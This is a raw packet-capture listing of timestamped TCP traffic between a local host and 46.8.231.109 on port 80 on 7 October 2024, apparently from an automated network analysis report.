Oct 7, 2024 17:22:00.777122021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777132988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777137041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777148962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777151108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777165890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777178049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777179003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777193069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777199984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777209997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777220964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777224064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777237892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777240038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777252913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777272940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777287006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777287006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777301073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777314901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777321100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777329922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777337074 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777344942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777359009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777370930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777373075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777388096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777395964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777401924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777411938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777440071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777667046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777688980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777699947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777703047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777724981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777740955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777766943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777780056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777793884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777813911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777815104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777828932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777839899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777842999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777858019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777864933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777889967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777906895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777920961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777935028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777939081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777950048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777966022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777990103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.778085947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778100967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778115034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778130054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778137922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.778143883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778157949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778165102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.778172016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778181076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.778187990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.778208017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.778232098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779359102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779398918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779412985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779431105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779467106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779484987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779500008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779514074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779529095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779535055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779561043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779587030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779601097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779614925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779628038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779637098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779642105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779653072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779656887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779670954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779679060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779701948 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779726982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779737949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779752016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779766083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779772043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779781103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779788017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779794931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779804945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779808998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779822111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779824018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779838085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779839039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779863119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779874086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779887915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779887915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779902935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779908895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779922009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.779925108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779942989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.779958010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780173063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780188084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780204058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780217886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780231953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780246019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780252934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780256987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780256987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780260086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780267954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780273914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780282021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780292988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780292988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780330896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780503035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780517101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780530930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780544043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780544043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780558109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780567884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780571938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780585051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780594110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780601025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780607939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780610085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780615091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780622005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780636072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780658007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780664921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780672073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780688047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780700922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780705929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780715942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780724049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780730009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780741930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780745029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780759096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780771971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780774117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780787945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780797005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780802965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780813932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780817032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780831099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780843019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780844927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780864954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780868053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780881882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780881882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780895948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780908108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780910015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780925035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780925989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780941010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780951023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780955076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780968904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780982018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.780982971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.780997992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781009912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781019926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781024933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781034946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781049013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781053066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781064034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781076908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781078100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781095982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781102896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781112909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781127930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781136036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781141996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781150103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781156063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781169891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781177044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781186104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781200886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781208038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781218052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781224012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781258106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781407118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781421900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781435966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781443119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781450987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781465054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781467915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781480074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781495094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781497955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781510115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781514883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781526089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781541109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781541109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781555891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781569958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781584024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781588078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781589031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781606913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781615973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781620979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781636000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781640053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781651974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781666040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781670094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781681061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781693935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781694889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781709909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781723022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781723976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781738997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781745911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781753063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781761885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781766891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781781912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781788111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781796932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.781816006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781831980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.781996965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782012939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782016039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782028913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782035112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782042980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782052040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782057047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782067060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782072067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782092094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782119036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782134056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782146931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782166958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782185078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782219887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782233953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782233953 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782248974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782258987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782263041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782274008 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782279015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782290936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782306910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782334089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782350063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782363892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782377958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782392979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782402039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782407999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.782433033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782449007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.782912016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.783356905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.836740017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836776972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836786985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836791039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.836807013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.836826086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.836925983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836935997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836963892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.836965084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836976051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.836987019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.836994886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837002993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837003946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837013960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837019920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837024927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837034941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837038040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837048054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837069035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837085009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837093115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837095976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837107897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837117910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837147951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837625027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837662935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837800980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837811947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837822914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837832928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837841988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837842941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837855101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837860107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837866068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837877035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837888002 CEST	80	49704	46.8.231.109	192.168.2.5
